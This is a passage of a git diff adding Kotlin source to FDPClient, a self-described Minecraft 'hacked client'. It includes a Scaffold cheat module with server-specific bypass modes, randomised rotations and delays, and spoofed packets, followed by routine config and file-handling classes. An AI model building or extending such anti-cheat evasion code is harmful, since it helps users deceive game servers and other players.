mc.theWorld, + itemStack, + targetPlace!!.blockPos, + targetPlace!!.enumFacing, + targetPlace!!.vec3 + ) + ) { + if (swingValue.get()) { + mc.thePlayer.swingItem() + } else { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + hypixelPlaceTicks++ + tellyPlaceTicks++ + andromedaPlaceTicks++ + lastPlace++ + } + // Reset + targetPlace = null + } + + /** + * Disable scaffold module + */ + override fun onDisable() { + sprintActive = false + andromedaPlaceTicks = 0 + tellyPlaceTicks = 0 + if (mc.thePlayer == null) return + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindSneak)) { + mc.gameSettings.keyBindSneak.pressed = false + if (eagleSneaking) mc.netHandler.addToSendQueue( + C0BPacketEntityAction( + mc.thePlayer, + C0BPacketEntityAction.Action.STOP_SNEAKING + ) + ) + } + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindRight)) mc.gameSettings.keyBindRight.pressed = false + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindLeft)) mc.gameSettings.keyBindLeft.pressed = false + lockRotation = null + mc.timer.timerSpeed = 1f + shouldGoDown = false + RotationUtils.reset() + if (autoBlockValue.equals("Switch")) { + mc.thePlayer.inventory.currentItem = prevItem + } else if (autoBlockValue.equals("Spoof")) { + SpoofItemUtils.stopSpoof() + } + } + + + /** + * Entity movement event + * + * @param event + */ + @EventTarget + fun onMove(event: MoveEvent) { + if (safeWalkValue.get() && mc.thePlayer.onGround) event.isSafeWalk = true + } + + /** + * Search for placeable block + * + * @param blockPosition pos + * @param checks visible + * @return + */ + + private fun search(blockPosition: BlockPos, checks: Boolean): Boolean { + val hypixelBlockPos: BlockPos = if (hypixelPlaceTicks == 0 && !towerStatus) BlockPos(blockPosition.x, blockPosition.y + 1, blockPosition.z) else blockPosition + if (!isReplaceable(hypixelBlockPos)) return false + val eyesPos = Vec3( + mc.thePlayer.posX, + mc.thePlayer.entityBoundingBox.minY + mc.thePlayer.getEyeHeight(), + mc.thePlayer.posZ + ) + var placeRotation: PlaceRotation? = null + for (side in StaticStorage.facings()) { + val neighbor = hypixelBlockPos.offset(side) + if (!BlockUtils.canBeClicked(neighbor)) continue + val dirVec = Vec3(side.directionVec) + var xSearch = 0.1 + while (xSearch < 0.9) { + var ySearch = 0.1 + while (ySearch < 0.9) { + var zSearch = 0.1 + while (zSearch < 0.9) { + val posVec = Vec3(hypixelBlockPos).addVector(xSearch, ySearch, zSearch) + val distanceSqPosVec = eyesPos.squareDistanceTo(posVec) + val hitVec = posVec.add(Vec3(dirVec.xCoord * 0.5, dirVec.yCoord * 0.5, dirVec.zCoord * 0.5)) + if (checks && (eyesPos.squareDistanceTo(hitVec) > 18.0 || distanceSqPosVec > eyesPos.squareDistanceTo( + posVec.add(dirVec) + ) || mc.theWorld.rayTraceBlocks(eyesPos, hitVec, false, true, false) != null) + ) { + zSearch += 0.1 + continue + } + + // face block + for (i in 0 until if (rotationFace.get() == "Smooth") 2 else 1) { + val diffX: Double = if (rotationFace.get() == "Smooth" && i == 0) 0.0 else hitVec.xCoord - eyesPos.xCoord + val diffY = hitVec.yCoord - eyesPos.yCoord + val diffZ: Double = if (rotationFace.get() == "Smooth" && i == 1) 0.0 else hitVec.zCoord - eyesPos.zCoord + val diffXZ = MathHelper.sqrt_double(diffX * diffX + diffZ * diffZ).toDouble() + val rotation = Rotation( + MathHelper.wrapAngleTo180_float( + Math.toDegrees(atan2(diffZ, diffX)).toFloat() - 90f + ), + MathHelper.wrapAngleTo180_float(-Math.toDegrees(atan2(diffY, diffXZ)).toFloat()) + ) + lockRotation = rotation + val rotationVector = rotation.let { RotationUtils.getVectorForRotation(it) } + val vector = eyesPos.addVector( + rotationVector.xCoord * 4, + rotationVector.yCoord * 4, + rotationVector.zCoord * 4 + ) + val obj = mc.theWorld.rayTraceBlocks(eyesPos, vector, false, false, true) + if (!(obj.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK && obj.blockPos == neighbor)) continue + if (placeRotation == null || RotationUtils.getRotationDifference(rotation) < RotationUtils.getRotationDifference( + placeRotation.rotation + ) + ) placeRotation = PlaceRotation(PlaceInfo(neighbor, side.opposite, hitVec), rotation) + } + zSearch += 0.1 + } + ySearch += 0.1 + } + xSearch += 0.1 + } + } + placeRotation ?: return false + lockRotation = when (rotationsValue.get().lowercase()) { + "normal" -> { + placeRotation.rotation + } + + "telly" -> { + if (!towerStatus) { + Rotation( + if (tellyPlaceTicks == 0 && delayTelly.get()) mc.thePlayer.rotationYaw + 180 else if (offGroundTicks < tellyTicks.get()) mc.thePlayer.rotationYaw else if (staticRotTelly.get()) mc.thePlayer.rotationYaw + 180 else placeRotation.rotation.yaw, + placeRotation.rotation.pitch + ) + } else Rotation( + if (staticRotTelly.get()) mc.thePlayer.rotationYaw + 180 else placeRotation.rotation.yaw, + placeRotation.rotation.pitch + ) + } + + "back" -> { + Rotation(MovementUtils.movingYaw + 180, placeRotation.rotation.pitch) + } + + "45" -> { + Rotation(MovementUtils.movingYaw + if (isLookingDiagonally && mc.thePlayer.moveStrafing != 0F) 180 else 135, placeRotation.rotation.pitch) + } + + "spin" -> { + Rotation(spinYaw, placeRotation.rotation.pitch) + } + + "snap" -> { + Rotation(MovementUtils.movingYaw + 180, placeRotation.rotation.pitch) + } + + else -> { + Rotation(mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch) + } + } + val limitedRotation = + RotationUtils.limitAngleChange(RotationUtils.serverRotation!!, lockRotation!!, rotationSpeed) + RotationUtils.setTargetRotationReverse(limitedRotation, 1, 0) + + targetPlace = placeRotation.placeInfo + return true + } + + private val blocksAmount: Int + get() { + var amount = 0 + for (i in 36..44) { + val itemStack = mc.thePlayer.inventoryContainer.getSlot(i).stack + if (itemStack != null && itemStack.item is ItemBlock && InventoryUtils.canPlaceBlock((itemStack.item as ItemBlock).block)) { + amount += itemStack.stackSize + } + } + return amount + } + + private val rotationSpeed: Float + get() = (Math.random() * (maxRotationSpeedValue.get() - minRotationSpeedValue.get()) + minRotationSpeedValue.get()).toFloat() + private val getDelay: Long + get() = TimeUtils.randomDelay(minPlaceDelay.get(), maxPlaceDelay.get()) + override val tag: String + get() = bridgeMode.get() + fun getSpeed(v0: Float, v1: Float, v2: Float): Float { + if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) { + if (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier == 0) { + return v1 + } else if (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier == 1) { + return v2 + } + } + return v0 + } + private fun onGround() : Boolean { + return mc.thePlayer.onGround || offGroundTicks == 0 + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/BlockValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/BlockValue.kt new file mode 100644 index 0000000..e8c80ad --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/value/BlockValue.kt @@ -0,0 +1,6 @@ +package net.ccbluex.liquidbounce.features.value + +/** + * Block value represents a value with a block + */ +class BlockValue(name: String, value: Int) : IntegerValue(name, value, 1, 197) \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/BoolValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/BoolValue.kt new file mode 100644 index 0000000..f4e3d79 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/value/BoolValue.kt @@ -0,0 +1,27 @@ +package net.ccbluex.liquidbounce.features.value + +import com.google.gson.JsonElement +import com.google.gson.JsonPrimitive +import net.ccbluex.liquidbounce.utils.AnimationHelper + +/** + * Bool value represents a value with a boolean + */ +open class BoolValue(name: String, value: Boolean) : Value<Boolean>(name, value) { + + val animation = AnimationHelper(this) + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) { + value = element.asBoolean || element.asString.equals("true", ignoreCase = true) + } + } + init { + animation.animationX = if (value) 5F else -5F + } + open fun toggle(){ + this.value = !this.value + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/ColorValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/ColorValue.kt new file mode 100644 index 0000000..2f1d20a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/value/ColorValue.kt @@ -0,0 +1,52 @@ +package net.ccbluex.liquidbounce.features.value + +import com.google.gson.JsonElement +import com.google.gson.JsonPrimitive + +open class ColorValue(name : String, value: Int) : Value<Int>(name, value) { + open fun getValue(): Int { + return super.get() + } + + fun set(newValue: Number) { + set(newValue.toInt()) + } + + + override fun toJson() = JsonPrimitive(getValue()) + + override fun fromJson(element: JsonElement) { + if(element.isJsonPrimitive) + value = element.asInt + } + + open fun getHSB(): FloatArray { + val hsbValues = FloatArray(3) + val saturation: Float + val brightness: Float + var hue: Float + var cMax: Int = (getValue() ushr 16 and 0xFF).coerceAtLeast(getValue() ushr 8 and 0xFF) + if (getValue() and 0xFF > cMax) cMax = getValue() and 0xFF + var cMin: Int = (getValue() ushr 16 and 0xFF).coerceAtMost(getValue() ushr 8 and 0xFF) + if (getValue() and 0xFF < cMin) cMin = getValue() and 0xFF + brightness = cMax.toFloat() / 255.0f + saturation = if (cMax != 0) (cMax - cMin).toFloat() / cMax.toFloat() else 0F + if (saturation == 0f) { + hue = 0f + } else { + val redC: Float = (cMax - (getValue() ushr 16 and 0xFF)).toFloat() / (cMax - cMin).toFloat() + // @off + val greenC: Float = (cMax - (getValue() ushr 8 and 0xFF)).toFloat() / (cMax - cMin).toFloat() + val blueC: Float = (cMax - (getValue() and 0xFF)).toFloat() / (cMax - cMin).toFloat() // @on + hue = + (if (getValue() ushr 16 and 0xFF == cMax) blueC - greenC else if (getValue() ushr 8 and 0xFF == cMax) 2.0f + redC - blueC else 4.0f + greenC - redC) / 6.0f + if (hue < 0) hue += 1.0f + } + hsbValues[0] = hue + hsbValues[1] = saturation + hsbValues[2] = brightness + return hsbValues + } + + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/FloatValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/FloatValue.kt new file mode 100644 index 0000000..3e51336 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/value/FloatValue.kt @@ -0,0 +1,27 @@ +package net.ccbluex.liquidbounce.features.value + +import com.google.gson.JsonElement +import com.google.gson.JsonPrimitive +import kotlin.math.roundToInt + +/** + * Float value represents a value with a float + */ +open class FloatValue(name: String, value: Float, val minimum: Float = 0F, val maximum: Float = Float.MAX_VALUE, val suffix: String, displayable: () -> Boolean) + : Value<Float>(name, value) { + + constructor(name: String, value: Float, minimum: Float, maximum: Float, displayable: () -> Boolean): this(name, value, minimum, maximum, "", displayable) + constructor(name: String, value: Float, minimum: Float, maximum: Float, suffix: String): this(name, value, minimum, maximum, suffix, { true } ) + constructor(name: String, value: Float, minimum: Float, maximum: Float): this(name, value, minimum, maximum, { true } ) + fun set(newValue: Number) { + set(newValue.toFloat()) + } + + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) { + value = element.asFloat + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/FontValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/FontValue.kt new file mode 100644 index 0000000..7233865 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/value/FontValue.kt @@ -0,0 +1,63 @@ +package net.ccbluex.liquidbounce.features.value + +import com.google.gson.JsonElement +import com.google.gson.JsonObject +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.minecraft.client.gui.FontRenderer + +/** + * Font value represents a value with a font + */ +class FontValue(valueName: String, value: FontRenderer) : Value<FontRenderer>(valueName, value) { + + private val cache: MutableList<Pair<String, FontRenderer>> = mutableListOf() + private fun updateCache() { + cache.clear() + for (fontOfFonts in Fonts.getFonts()) { + val details = Fonts.getFontDetails(fontOfFonts) ?: continue + val name = details[0].toString() + val size = details[1].toString().toInt() + val format = "$name $size" + + cache.add(format to fontOfFonts) + } + + cache.sortBy { it.first } + } + private fun getAllFontDetails(): Array<Pair<String, FontRenderer>> { + if (cache.size == 0) updateCache() + + return cache.toTypedArray() + } + override fun toJson(): JsonElement { + val fontDetails = Fonts.getFontDetails(value) + val valueObject = JsonObject() + valueObject.addProperty("fontName", fontDetails[0] as String) + valueObject.addProperty("fontSize", fontDetails[1] as Int) + return valueObject + } + + override fun fromJson(element: JsonElement) { + if (!element.isJsonObject) return + val valueObject = element.asJsonObject + value = Fonts.getFontRenderer(valueObject["fontName"].asString, valueObject["fontSize"].asInt) + } + + fun set(name: String): Boolean { + if (name.equals("Minecraft", true)) { + set(Fonts.minecraftFont) + return true + } else if (name.contains(" - ")) { + val spiced = name.split(" - ") + set(Fonts.getFontRenderer(spiced[0], spiced[1].toInt()) ?: return false) + return true + } + return false + } + val values + get() = getAllFontDetails().map { it.second } + + fun setByName(name: String) { + set((getAllFontDetails().find { it.first.equals(name, true)} ?: return).second ) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/IntegerValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/IntegerValue.kt new file mode 100644 index 0000000..ed1a14c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/value/IntegerValue.kt @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.features.value + +import com.google.gson.JsonElement +import com.google.gson.JsonPrimitive + +/** + * Integer value represents a value with a integer + */ +//open class IntegerValue(name: String, value: Int, val minimum: Int = 0, val maximum: Int = Integer.MAX_VALUE) : Value<Int>(name, value) { + +open class IntegerValue(name: String, value: Int, val minimum: Int = 0, val maximum: Int = Integer.MAX_VALUE, val suffix: String, displayable: () -> Boolean) + : Value<Int>(name, value) { + + constructor(name: String, value: Int, minimum: Int, maximum: Int, displayable: () -> Boolean): this(name, value, minimum, maximum, "", displayable) + constructor(name: String, value: Int, minimum: Int, maximum: Int, suffix: String): this(name, value, minimum, maximum, suffix, { true } ) + constructor(name: String, value: Int, minimum: Int, maximum: Int): this(name, value, minimum, maximum, { true } ) + + + + fun set(newValue: Number) { + set(newValue.toInt()) + } + + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) { + value = element.asInt + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/ListValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/ListValue.kt new file mode 100644 index 0000000..d9f0185 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/value/ListValue.kt @@ -0,0 +1,73 @@ +package net.ccbluex.liquidbounce.features.value + +import com.google.gson.JsonElement +import com.google.gson.JsonPrimitive +import java.util.* + +/** + * List value represents a selectable list of values + */ +open class ListValue(name: String, val values: Array<String>, value: String) : Value<String>(name, value) { + @JvmField + var openList = false + + @JvmField + var isShown = false + + var anim=0; + @JvmField + var open=true; + + init { + this.value = value + } + + fun listtoggle(){ + openList=!openList; + } + + fun getModeListNumber(mode: String) = values.indexOf(mode) + init { + this.value = value + } + + fun containsValue(string: String): Boolean { + return Arrays.stream(values).anyMatch { it.equals(string, ignoreCase = true) } + } + + override fun changeValue(value: String) { + for (element in values) { + if (element.equals(value, ignoreCase = true)) { + this.value = element + break + } + } + } + + open fun getModes() : List<String> { + return this.values.toList() + } + + open fun getModeGet(i: Int): String { + return values[i] + } + + fun isMode(string: String): Boolean { + return this.value.equals(string, ignoreCase = true) + } + + fun indexOf(mode: String): Int { + for (i in values.indices) { + if (values[i].equals(mode, true)) return i + } + return 0 + } + + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) changeValue(element.asString) + } +} + + diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/NumberValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/NumberValue.kt new file mode 100644 index 0000000..7230222 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/value/NumberValue.kt @@ -0,0 +1,28 @@ +package net.ccbluex.liquidbounce.features.value + +import com.google.gson.JsonElement +import com.google.gson.JsonPrimitive +import kotlin.math.roundToInt + +open class NumberValue(name: String, value: Double, val minimum: Double = 0.0, val maximum: Double = Double.MAX_VALUE,val inc: Double/* = 1.0*/) + : Value<Double>(name, value) { + + fun set(newValue: Number) { + set(newValue.toDouble()) + } + + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) + value = element.asDouble + } + open fun getDouble(): Double { + return ((this.get() as Number).toDouble() / this.inc).roundToInt() * this.inc + } + + fun append(o: Double): NumberValue { + set(get() + o) + return this + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/TextValue.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/TextValue.kt new file mode 100644 index 0000000..8851f42 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/value/TextValue.kt @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.features.value + +import com.google.gson.JsonElement +import com.google.gson.JsonPrimitive + +/** + * Text value represents a value with a string + */ +open class TextValue(name: String, value: String) : Value<String>(name, value) { + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) { + value = element.asString + } + + } + fun append(o: Any): TextValue { + set(get() + o) + return this + } + + } \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/Value.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/Value.kt new file mode 100644 index 0000000..d36e860 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/value/Value.kt @@ -0,0 +1,119 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient + */ +package net.ccbluex.liquidbounce.features.value + +import com.google.gson.JsonElement +import com.google.gson.JsonPrimitive +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.utils.ClientUtils +import java.awt.Color +import kotlin.jvm.internal.Intrinsics + +abstract class Value<T>(val name: String, var value: T) { + val default = value + var textHovered: Boolean = false + + private var displayableFunc: () -> Boolean = { true } + + fun displayable(func: () -> Boolean): Value<T> { + displayableFunc = func + return this + } + + val displayable: Boolean + get() = displayableFunc() + + val displayableFunction: () -> Boolean + get() = displayableFunc + + fun set(newValue: T) { + if (newValue == value) return + + val oldValue = get() + + try { + onChange(oldValue, newValue) + changeValue(newValue) + onChanged(oldValue, newValue) + FDPClient.configManager.smartSave() + } catch (e: Exception) { + ClientUtils.logError("[ValueSystem ($name)]: ${e.javaClass.name} (${e.message}) [$oldValue >> $newValue]") + } + } + + + + fun get() = value + + fun setDefault() { + value = default + } + + open fun changeValue(value: T) { + this.value = value + } + + abstract fun toJson(): JsonElement? + abstract fun fromJson(element: JsonElement) + + protected open fun onChange(oldValue: T, newValue: T) {} + protected open fun onChanged(oldValue: T, newValue: T) {} + + // this is better api for ListValue and TextValue + + open class ColorValue(name: String, value: Int, canDisplay: () -> Boolean) : Value<Int>(name, value) { + val minimum: Int = -10000000 + val maximum: Int = 1000000 + fun set(newValue: Number) { + set(newValue.toInt()) + } + override fun toJson() = JsonPrimitive(value) + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) + value = element.asInt + } + } + + override fun equals(other: Any?): Boolean { + other ?: return false + if (value is String && other is String) { + return (value as String).equals(other, true) + } + return value?.equals(other) ?: false + } + + fun contains(text: String/*, ignoreCase: Boolean*/): Boolean { + return if (value is String) { + (value as String).contains(text, true) + } else { + false + } + } + + private var Expanded = false + + open fun getExpanded(): Boolean { + return Expanded + } + + open fun setExpanded(b: Boolean) { + this.Expanded + } + + open fun isExpanded(): Boolean { + return Expanded + } + + + open fun getAwtColor(): Color { + return Color((this as Value<Number>).value.toInt(), true) + } + + open fun ColorValue(name: String, value: Int) { + Intrinsics.checkParameterIsNotNull(name, "name") + ColorValue(name, value) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/file/FileConfig.kt b/src/main/java/net/ccbluex/liquidbounce/file/FileConfig.kt new file mode 100644 index 0000000..84bd8ed --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/FileConfig.kt @@ -0,0 +1,54 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.file + +import java.io.File + +/** + * Constructor of config + * + * @param file of config + */ +abstract class FileConfig(val file: File) { + + /** + * Load config from file + */ + abstract fun loadConfig(config: String) + + /** + * Save config to file + */ + abstract fun saveConfig(): String + + /** + * Create config + */ + fun createConfig() { + file.createNewFile() + } + + /** + * Load config file + */ + fun loadConfigFile(): String { + return file.readText(Charsets.UTF_8) + } + + /** + * Save config file + */ + fun saveConfigFile(config: String) { + file.writeText(config, Charsets.UTF_8) + } + + /** + * @return config file exist + */ + fun hasConfig(): Boolean { + return file.exists() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/file/FileManager.kt b/src/main/java/net/ccbluex/liquidbounce/file/FileManager.kt new file mode 100644 index 0000000..681d3d4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/FileManager.kt @@ -0,0 +1,280 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.file + +import com.google.gson.GsonBuilder +import com.google.gson.JsonObject +import com.google.gson.JsonParser +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.handler.macro.Macro +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.file.configs.* +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.minecraft.client.renderer.texture.DynamicTexture +import net.minecraft.util.ResourceLocation +import java.io.* +import javax.imageio.ImageIO + +class FileManager : MinecraftInstance() { + val dir = File(mc.mcDataDir, "FDPCLIENT-1.8") + val fontsDir = File(dir, "fonts") + val configsDir = File(dir, "configs") + val soundsDir = File(dir, "sounds") + val legacySettingsDir = File(dir, "legacy-settings") + val capesDir = File(dir, "capes") + val themesDir = File(dir, "themes") + val accountsConfig = AccountsConfig(File(dir, "accounts.json")) + var friendsConfig = FriendsConfig(File(dir, "friends.json")) + val xrayConfig = XRayConfig(File(dir, "xray-blocks.json")) + val hudConfig = HudConfig(File(dir, "hud.json")) + val subscriptsConfig = ScriptConfig(File(dir, "subscripts.json")) + val specialConfig = SpecialConfig(File(dir, "special.json")) + val backgroundFile = File(dir, "userbackground.png") + + /** + * Setup everything important + */ + init { + setupFolder() + loadBackground() + // TODO: delete legacy caches due to use vector font renderer + } + + /** + * Setup folder + */ + fun setupFolder() { + if (!dir.exists()) { + dir.mkdir() + } + + if (!fontsDir.exists()) { + fontsDir.mkdir() + } + + if (!configsDir.exists()) { + configsDir.mkdir() + } + + if (!soundsDir.exists()) { + soundsDir.mkdir() + } + + if (!capesDir.exists()) { + capesDir.mkdir() + } + + if (!themesDir.exists()) { + themesDir.mkdir(); + } + + } + + /** + * Load all configs in file manager + */ + fun loadAllConfigs() { + for (field in javaClass.declaredFields) { + if (field.type == FileConfig::class.java) { + try { + if (!field.isAccessible) field.isAccessible = true + val fileConfig = field[this] as FileConfig + loadConfig(fileConfig) + } catch (e: IllegalAccessException) { + ClientUtils.logError("Failed to load config file of field " + field.name + ".", e) + } + } + } + } + + /** + * Load a list of configs + * + * @param configs list + */ + fun loadConfigs(vararg configs: FileConfig) { + for (fileConfig in configs) + loadConfig(fileConfig) + } + + /** + * Load one config + * + * @param config to load + */ + fun loadConfig(config: FileConfig) { + if (!config.hasConfig()) { + ClientUtils.logInfo("[FileManager] Skipped loading config: " + config.file.name + ".") + saveConfig(config, true) + return + } + try { + config.loadConfig(config.loadConfigFile()) + ClientUtils.logInfo("[FileManager] Loaded config: " + config.file.name + ".") + } catch (t: Throwable) { + ClientUtils.logError("[FileManager] Failed to load config file: " + config.file.name + ".", t) + } + } + + /** + * Save all configs in file manager + */ + fun saveAllConfigs() { + for (field in javaClass.declaredFields) { + try { + field.isAccessible = true + val obj = field[this] + if (obj is FileConfig) { + saveConfig(obj) + } + } catch (e: IllegalAccessException) { + ClientUtils.logError("[FileManager] Failed to save config file of field " + field.name + ".", e) + } + } + } + + /** + * Save a list of configs + * + * @param configs list + */ + fun saveConfigs(vararg configs: FileConfig) { + for (fileConfig in configs) saveConfig(fileConfig) + } + + /** + * Save one config + * + * @param config to save + */ + fun saveConfig(config: FileConfig) { + saveConfig(config, true) + } + + /** + * Save one config + * + * @param config to save + * @param ignoreStarting check starting + */ + private fun saveConfig(config: FileConfig, ignoreStarting: Boolean) { + if (!ignoreStarting && FDPClient.isStarting) return + try { + if (!config.hasConfig()) config.createConfig() + config.saveConfigFile(config.saveConfig()) + ClientUtils.logInfo("[FileManager] Saved config: " + config.file.name + ".") + } catch (t: Throwable) { + ClientUtils.logError("[FileManager] Failed to save config file: " + config.file.name + ".", t) + } + } + + /** + * Load background for background + */ + fun loadBackground() { + if (backgroundFile.exists()) { + try { + val bufferedImage = ImageIO.read(FileInputStream(backgroundFile)) ?: return + FDPClient.background = ResourceLocation(FDPClient.CLIENT_NAME.lowercase() + "/background.png") + mc.textureManager.loadTexture(FDPClient.background, DynamicTexture(bufferedImage)) + ClientUtils.logInfo("[FileManager] Loaded background.") + } catch (e: Exception) { + ClientUtils.logError("[FileManager] Failed to load background.", e) + } + } + } + + @Throws(IOException::class) + fun loadLegacy(): Boolean { + var modified = false + val modulesFile = File(dir, "modules.json") + if (modulesFile.exists()) { + modified = true + val fr = FileReader(modulesFile) + try { + val jsonElement = JsonParser().parse(BufferedReader(fr)) + for ((key, value) in jsonElement.asJsonObject.entrySet()) { + val module = FDPClient.moduleManager.getModule(key) + if (module != null) { + val jsonModule = value as JsonObject + module.state = jsonModule["State"].asBoolean + module.keyBind = jsonModule["KeyBind"].asInt + if (jsonModule.has("Array")) module.array = jsonModule["Array"].asBoolean + if (jsonModule.has("AutoDisable")) module.autoDisable = + EnumAutoDisableType.valueOf(jsonModule["AutoDisable"].asString) + } + } + } catch (t: Throwable) { + t.printStackTrace() + } + try { + fr.close() + } catch (e: IOException) { + e.printStackTrace() + } + ClientUtils.logInfo("Deleted Legacy config " + modulesFile.name + " " + modulesFile.delete()) + } + + val valuesFile = File(dir, "values.json") + if (valuesFile.exists()) { + modified = true + val fr = FileReader(valuesFile) + try { + val jsonObject = JsonParser().parse(BufferedReader(fr)).asJsonObject + for ((key, value) in jsonObject.entrySet()) { + val module = FDPClient.moduleManager.getModule(key) + if (module != null) { + val jsonModule = value as JsonObject + for (moduleValue in module.values) { + val element = jsonModule[moduleValue.name] + if (element != null) moduleValue.fromJson(element) + } + } + } + } catch (t: Throwable) { + t.printStackTrace() + } + try { + fr.close() + } catch (e: IOException) { + e.printStackTrace() + } + ClientUtils.logInfo("Deleted Legacy config " + valuesFile.name + " " + valuesFile.delete()) + } + + val macrosFile = File(dir, "macros.json") + if (macrosFile.exists()) { + modified = true + val fr = FileReader(macrosFile) + try { + val jsonArray = JsonParser().parse(BufferedReader(fr)).asJsonArray + for (jsonElement in jsonArray) { + val macroJson = jsonElement.asJsonObject + FDPClient.macroManager.macros + .add(Macro(macroJson["key"].asInt, macroJson["command"].asString)) + } + } catch (t: Throwable) { + t.printStackTrace() + } + try { + fr.close() + } catch (e: IOException) { + e.printStackTrace() + } + ClientUtils.logInfo("Deleted Legacy config " + macrosFile.name + " " + macrosFile.delete()) + } + + val shortcutsFile = File(dir, "shortcuts.json") + if (shortcutsFile.exists()) shortcutsFile.delete() + + return modified + } + + companion object { + val PRETTY_GSON = GsonBuilder().setPrettyPrinting().create() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/file/config/ConfigManager.kt b/src/main/java/net/ccbluex/liquidbounce/file/config/ConfigManager.kt new file mode 100644 index 0000000..fdda0ce --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/config/ConfigManager.kt @@ -0,0 +1,259 @@ +package net.ccbluex.liquidbounce.file.config + +import com.google.gson.JsonObject +import com.google.gson.JsonParser +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.modules.client.Target +import net.ccbluex.liquidbounce.file.FileManager +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.misc.HttpUtils +import net.ccbluex.liquidbounce.utils.misc.StringUtils +import net.ccbluex.liquidbounce.features.value.* +import org.lwjgl.input.Keyboard +import java.io.File +import java.nio.file.Files +import java.util.* +import kotlin.concurrent.schedule + +class ConfigManager { + private val configSetFile = File(FDPClient.fileManager.dir, "config-settings.json") + + private val sections = mutableListOf<ConfigSection>() + + var nowConfig = "default" + private var nowConfigInFile = "default" + var configFile = File(FDPClient.fileManager.configsDir, "$nowConfig.json") + var needSave = false + + init { + ClassUtils.resolvePackage("${this.javaClass.`package`.name}.sections", ConfigSection::class.java) + .forEach(this::registerSection) + + // add an interval timer to save the config every 30 seconds + Timer().schedule(30000, 30000) { + saveTicker() + } + } + + fun load(name: String, save: Boolean = true) { + FDPClient.isLoadingConfig = true + if (save && nowConfig != name) { + save(true, true) // 保存老配置 + } + + nowConfig = name + configFile = File(FDPClient.fileManager.configsDir, "$nowConfig.json") + + val json = if (configFile.exists()) { + JsonParser().parse(configFile.reader(Charsets.UTF_8)).asJsonObject + } else { + JsonObject() // 这样方便一点,虽然效率会低 + } + 